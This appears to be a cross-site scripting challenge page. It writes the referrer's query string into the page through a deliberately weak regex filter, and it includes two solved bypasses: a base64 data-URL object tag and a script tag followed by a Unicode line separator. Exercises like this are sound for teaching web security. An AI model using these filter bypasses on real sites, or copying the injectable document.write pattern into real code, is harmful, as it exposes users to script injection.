xs.html

<h1>You have to make an alert box like this; with one user click</h1>
<img height=450 width=700 src="https://i.imgur.com/KvusTgV.png">
<p>Note: (This *might not work in Internet Explorer & Edge Browsers)</p>

<script>

var jjk=document.referrer;
var jjax= jjk.split('?').pop();
var jja = decodeURIComponent(jjax);

if(!/((\r\n|\r|\n).*$)/i.test(jja)){
if(!/(script.*$)/i.test(jja)){
if(!/(src.*$)/i.test(jja)){
if(!/(alert.*$)/i.test(jja)){
if(!/(on.*$)/i.test(jja)){

document.write(jja);

}}}}}
 
</script>

<h3>Solutions:</h3>
<ul><li>Using object with pseudo base64 url: <button onclick="s1();">GO</button></li>
  <li>Bypassing the regex using unicode \u2028 and \u2029 will make a new line, By (ohanarray) <button onclick="s2();">GO</button></li></ul>
  
  <script>
    function s1(){
    history.pushState(null,null,"?<object data='data:text/html;base64,PHNjcmlwdD5hbGVydCgiSkogRm9yIExpZmUiKTwvc2NyaXB0Pg=='>");
setTimeout("window.location=('https://renwax23.github.io/X/xs.html');", 1000);}
    
    function s2(){
    history.pushState(null,null,"?<script>alert(\"JJ For Life\")<\/script>\u2028");
setTimeout("window.location=('https://renwax23.github.io/X/xs.html');", 1000);}

</script>